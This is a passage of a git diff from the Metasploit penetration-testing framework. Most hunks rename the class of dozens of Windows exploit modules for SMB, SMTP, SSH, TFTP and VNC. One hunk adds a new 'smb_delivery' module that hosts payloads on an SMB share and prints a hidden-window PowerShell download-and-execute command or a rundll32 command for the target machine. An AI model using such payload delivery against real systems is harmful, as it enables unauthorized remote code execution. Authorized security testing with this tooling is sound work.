Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/smb/generic_smb_dll_injection.rb b/modules/exploits/windows/smb/generic_smb_dll_injection.rb index 760bcfd6d2..f52e48a799 100644 --- a/modules/exploits/windows/smb/generic_smb_dll_injection.rb +++ b/modules/exploits/windows/smb/generic_smb_dll_injection.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::SMB::Server::Share diff --git a/modules/exploits/windows/smb/group_policy_startup.rb b/modules/exploits/windows/smb/group_policy_startup.rb index 8157d00f14..9be37de7e0 100644 --- a/modules/exploits/windows/smb/group_policy_startup.rb +++ b/modules/exploits/windows/smb/group_policy_startup.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::SMB::Server::Share diff --git a/modules/exploits/windows/smb/ipass_pipe_exec.rb b/modules/exploits/windows/smb/ipass_pipe_exec.rb index 67eaa9baf9..953fa13ed8 100644 --- a/modules/exploits/windows/smb/ipass_pipe_exec.rb +++ b/modules/exploits/windows/smb/ipass_pipe_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Client::Authenticated diff --git a/modules/exploits/windows/smb/ms03_049_netapi.rb b/modules/exploits/windows/smb/ms03_049_netapi.rb index 2b1c6f7272..985fd2cbd7 100644 --- a/modules/exploits/windows/smb/ms03_049_netapi.rb +++ b/modules/exploits/windows/smb/ms03_049_netapi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms04_007_killbill.rb b/modules/exploits/windows/smb/ms04_007_killbill.rb index 817f32c8d2..2a8565ddab 100644 --- a/modules/exploits/windows/smb/ms04_007_killbill.rb +++ b/modules/exploits/windows/smb/ms04_007_killbill.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/windows/smb/ms04_011_lsass.rb b/modules/exploits/windows/smb/ms04_011_lsass.rb index 8c9150e72f..e2c4864fda 100644 --- a/modules/exploits/windows/smb/ms04_011_lsass.rb +++ b/modules/exploits/windows/smb/ms04_011_lsass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # diff --git a/modules/exploits/windows/smb/ms04_031_netdde.rb b/modules/exploits/windows/smb/ms04_031_netdde.rb index 63bb2284c4..30f78db495 100644 --- a/modules/exploits/windows/smb/ms04_031_netdde.rb +++ b/modules/exploits/windows/smb/ms04_031_netdde.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms05_039_pnp.rb b/modules/exploits/windows/smb/ms05_039_pnp.rb index c607558b2b..1e15f4dbe4 100644 --- a/modules/exploits/windows/smb/ms05_039_pnp.rb +++ b/modules/exploits/windows/smb/ms05_039_pnp.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb index ad523283c1..e62d26a6c1 100644 --- a/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb +++ b/modules/exploits/windows/smb/ms06_025_rasmans_reg.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Egghunter diff --git a/modules/exploits/windows/smb/ms06_025_rras.rb b/modules/exploits/windows/smb/ms06_025_rras.rb index 73bf7bd392..540a4b7b6f 100644 --- a/modules/exploits/windows/smb/ms06_025_rras.rb +++ b/modules/exploits/windows/smb/ms06_025_rras.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms06_040_netapi.rb b/modules/exploits/windows/smb/ms06_040_netapi.rb index 335165a58d..a5f6e127f5 100644 --- a/modules/exploits/windows/smb/ms06_040_netapi.rb +++ b/modules/exploits/windows/smb/ms06_040_netapi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms06_066_nwapi.rb b/modules/exploits/windows/smb/ms06_066_nwapi.rb index 17b58d9077..59ddf4c93b 100644 --- a/modules/exploits/windows/smb/ms06_066_nwapi.rb +++ b/modules/exploits/windows/smb/ms06_066_nwapi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Egghunter diff --git a/modules/exploits/windows/smb/ms06_066_nwwks.rb b/modules/exploits/windows/smb/ms06_066_nwwks.rb index e5104d14c2..c081217b06 100644 --- a/modules/exploits/windows/smb/ms06_066_nwwks.rb +++ b/modules/exploits/windows/smb/ms06_066_nwwks.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms06_070_wkssvc.rb b/modules/exploits/windows/smb/ms06_070_wkssvc.rb index 059ff04131..5d3cd7763f 100644 --- a/modules/exploits/windows/smb/ms06_070_wkssvc.rb +++ b/modules/exploits/windows/smb/ms06_070_wkssvc.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Requires valid/working DOMAIN + DC include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb index 651de13296..c81a58727b 100644 --- a/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb +++ b/modules/exploits/windows/smb/ms07_029_msdns_zonename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms08_067_netapi.rb b/modules/exploits/windows/smb/ms08_067_netapi.rb index a1e8de1191..f0523cc5aa 100644 --- a/modules/exploits/windows/smb/ms08_067_netapi.rb +++ b/modules/exploits/windows/smb/ms08_067_netapi.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::DCERPC @@ -879,7 +879,7 @@ class Metasploit3 < Msf::Exploit::Remote end # Windows 2003 SP0 is mostly universal - if fprint['os'] == 'Windows 2003' and fprint['sp'] == 'No Service Pack' + if fprint['os'] == 'Windows 2003' and fprint['sp'].empty? mytarget = targets[3] end diff --git a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb index 3cf78788c9..f8e71f3b7e 100644 --- a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb +++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb index 7afff33985..db5fdcb58e 100644 --- a/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/smb/ms10_046_shortcut_icon_dllloader.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb index b1b688e620..69ce351e30 100644 --- a/modules/exploits/windows/smb/ms10_061_spoolss.rb +++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/windows_error' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC diff --git a/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb b/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb index 780604be72..9aa9a57d6e 100644 --- a/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/smb/ms15_020_shortcut_icon_dllloader.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::EXE diff --git a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb index b9c0a1baea..8796ac8402 100644 --- a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb +++ b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 7b7c816897..7b7418f2f0 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -15,7 +15,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -59,8 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'Space' => 3072, - 'DisableNops' => true, - 'StackAdjustment' => -3500 + 'DisableNops' => true }, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X86_64], diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 17727557a0..30f1d8cd30 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -8,15 +8,12 @@ require 'msf/core' require 'msf/core/exploit/powershell' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # Exploit mixins should be called first include Msf::Exploit::Remote::SMB::Client::Psexec include Msf::Exploit::Powershell - include Msf::Module::Deprecated - - deprecated(Date.new(2016, 1, 1), 'exploit/windows/smb/psexec') def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/windows/smb/smb_delivery.rb b/modules/exploits/windows/smb/smb_delivery.rb new file mode 100644 index 0000000000..12ce34a6e1 --- /dev/null +++ b/modules/exploits/windows/smb/smb_delivery.rb @@ -0,0 +1,77 @@ +require 'msf/core' +require 'msf/core/exploit/powershell' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Powershell + + def initialize(info={}) + super(update_info(info, + 'Name' => "SMB Delivery", + 'Description' => %q{ + This module serves payloads via an SMB server and provides commands to retrieve + and execute the generated payloads. Currently supports DLLs and Powershell. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Andrew Smith', + 'Russel Van Tuyl' + ], + 'References' => + [ + ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3074'] + ], + 'Payload' => + { + 'Space' => 2048, + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + ['DLL', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X86_64] + }], + ['PSH', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X86_64] + }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 26 2016", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILE_NAME', [ false, 'DLL file name', 'test.dll']) + ], self.class) + + deregister_options('FILE_CONTENTS') + end + + def primer + print_status('Run the following command on the target machine:') + case target.name + when 'PSH' + self.file_contents = cmd_psh_payload( payload.encoded, + payload_instance.arch.first, + remove_comspec: true, + use_single_quotes: true) + + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl + download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(unc) + download_and_run = "#{ignore_cert}#{download_string}" + print_line generate_psh_command_line( noprofile: true, + windowstyle: 'hidden', + command: download_and_run) + when 'DLL' + self.file_contents = generate_payload_dll + print_line("rundll32.exe #{unc},0") + end + end +end diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 869aa183ff..8f97d7ca0c 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -19,7 +19,7 @@ under: require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::SMB::Server diff --git a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb index ceea4829b0..c7f1e9259d 100644 --- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb +++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb index 07925d6526..05e183e82e 100644 --- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb +++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb @@ -6,7 +6,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/smtp/mercury_cram_md5.rb b/modules/exploits/windows/smtp/mercury_cram_md5.rb index 27ac045d5b..36eba8502e 100644 --- a/modules/exploits/windows/smtp/mercury_cram_md5.rb +++ b/modules/exploits/windows/smtp/mercury_cram_md5.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb index 3fbf61a555..d045492849 100644 --- a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb +++ b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/smtp/njstar_smtp_bof.rb b/modules/exploits/windows/smtp/njstar_smtp_bof.rb index bbf06483f1..adcc1d5461 100644 --- a/modules/exploits/windows/smtp/njstar_smtp_bof.rb +++ b/modules/exploits/windows/smtp/njstar_smtp_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/smtp/wmailserver.rb b/modules/exploits/windows/smtp/wmailserver.rb index 6d393979a1..6f91626838 100644 --- a/modules/exploits/windows/smtp/wmailserver.rb +++ b/modules/exploits/windows/smtp/wmailserver.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/smtp/ypops_overflow1.rb b/modules/exploits/windows/smtp/ypops_overflow1.rb index 3b8450c140..a0b88194a5 100644 --- a/modules/exploits/windows/smtp/ypops_overflow1.rb +++ b/modules/exploits/windows/smtp/ypops_overflow1.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Smtp diff --git a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb index d851559c2c..922a163785 100644 --- a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index e53bb028ea..38c126d06c 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp @@ -107,7 +107,8 @@ class Metasploit3 < Msf::Exploit::Remote :port => datastore['RPORT'], :timeout => 1, :proxies => datastore['Proxies'], - :key_data => OpenSSL::PKey::RSA.new(2048).to_pem + :key_data => OpenSSL::PKey::RSA.new(2048).to_pem, + :auth_methods => ['publickey'] } return options end diff --git a/modules/exploits/windows/ssh/freesshd_key_exchange.rb b/modules/exploits/windows/ssh/freesshd_key_exchange.rb index 57e154860a..4204c26d58 100644 --- a/modules/exploits/windows/ssh/freesshd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freesshd_key_exchange.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/ssh/putty_msg_debug.rb b/modules/exploits/windows/ssh/putty_msg_debug.rb index 73b305f2a4..117a781436 100644 --- a/modules/exploits/windows/ssh/putty_msg_debug.rb +++ b/modules/exploits/windows/ssh/putty_msg_debug.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/ssh/securecrt_ssh1.rb b/modules/exploits/windows/ssh/securecrt_ssh1.rb index df985f1448..fd8cfaf959 100644 --- a/modules/exploits/windows/ssh/securecrt_ssh1.rb +++ b/modules/exploits/windows/ssh/securecrt_ssh1.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb index 4f9dde83ce..1d1573215c 100644 --- a/modules/exploits/windows/ssh/sysax_ssh_username.rb +++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb @@ -5,10 +5,11 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, @@ -212,6 +213,7 @@ class Metasploit3 < Msf::Exploit::Remote pass = rand_text_alpha(8) begin print_status("Sending malicious request to #{rhost}:#{rport}...") + factory = ssh_socket_factory ssh = Net::SSH.start( datastore['RHOST'], buf, @@ -219,8 +221,9 @@ class Metasploit3 < Msf::Exploit::Remote :password => pass, :port => datastore['RPORT'], :timeout => 1, - :proxies => datastore['Proxies'], - :config => false + :proxy => factory, + :config => false, + :non_interactive => true }) ::Timeout.timeout(1) {ssh.close} rescue nil @@ -239,7 +242,4 @@ class Metasploit3 < Msf::Exploit::Remote end end -=begin -Todo: We seriously need a MSF SSH mixin to handle the SSH protocol ourselves, not -relying on net/ssh. -=end + diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb index 9a437f9cab..278eebb500 100644 --- a/modules/exploits/windows/ssl/ms04_011_pct.rb +++ b/modules/exploits/windows/ssl/ms04_011_pct.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb index 3106ce456d..4f7ccaf5fc 100644 --- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb +++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh diff --git a/modules/exploits/windows/telnet/goodtech_telnet.rb b/modules/exploits/windows/telnet/goodtech_telnet.rb index ea55e3c541..05787a086f 100644 --- a/modules/exploits/windows/telnet/goodtech_telnet.rb +++ b/modules/exploits/windows/telnet/goodtech_telnet.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/tftp/attftp_long_filename.rb b/modules/exploits/windows/tftp/attftp_long_filename.rb index 9f54353a9c..5e870c2a45 100644 --- a/modules/exploits/windows/tftp/attftp_long_filename.rb +++ b/modules/exploits/windows/tftp/attftp_long_filename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 49588e2655..117490b420 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Rex::Proto::TFTP diff --git a/modules/exploits/windows/tftp/dlink_long_filename.rb b/modules/exploits/windows/tftp/dlink_long_filename.rb index c8d78b0862..1809d64ee3 100644 --- a/modules/exploits/windows/tftp/dlink_long_filename.rb +++ b/modules/exploits/windows/tftp/dlink_long_filename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/tftp/futuresoft_transfermode.rb b/modules/exploits/windows/tftp/futuresoft_transfermode.rb index 410c818099..27117793e5 100644 --- a/modules/exploits/windows/tftp/futuresoft_transfermode.rb +++ b/modules/exploits/windows/tftp/futuresoft_transfermode.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index 0e3e0d5811..935f681953 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Rex::Proto::TFTP diff --git a/modules/exploits/windows/tftp/opentftp_error_code.rb b/modules/exploits/windows/tftp/opentftp_error_code.rb index 0949f8ff23..fa1734b983 100644 --- a/modules/exploits/windows/tftp/opentftp_error_code.rb +++ b/modules/exploits/windows/tftp/opentftp_error_code.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb index 2183c12283..57e3bfa02b 100644 --- a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb +++ b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/tftp/tftpd32_long_filename.rb b/modules/exploits/windows/tftp/tftpd32_long_filename.rb index 119de0ce1a..62659e76db 100644 --- a/modules/exploits/windows/tftp/tftpd32_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpd32_long_filename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb index 75131b6e09..436e4b922e 100644 --- a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb index 3cbd5bf1d0..b1ac37baa9 100644 --- a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb +++ b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb index a02cbb277c..5af0ab3918 100644 --- a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb +++ b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Udp diff --git a/modules/exploits/windows/unicenter/cam_log_security.rb b/modules/exploits/windows/unicenter/cam_log_security.rb index 4a673fd767..3616ae558c 100644 --- a/modules/exploits/windows/unicenter/cam_log_security.rb +++ b/modules/exploits/windows/unicenter/cam_log_security.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/windows/vnc/realvnc_client.rb b/modules/exploits/windows/vnc/realvnc_client.rb index a479580f78..aa4f88043f 100644 --- a/modules/exploits/windows/vnc/realvnc_client.rb +++ b/modules/exploits/windows/vnc/realvnc_client.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::TcpServer diff --git a/modules/exploits/windows/vnc/ultravnc_client.rb b/modules/exploits/windows/vnc/ultravnc_client.rb index 4fd21103e0..9b513c571a 100644 --- a/modules/exploits/windows/vnc/ultravnc_client.rb +++ b/modules/exploits/windows/vnc/ultravnc_client.rb @@ -3,7 +3,7 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < 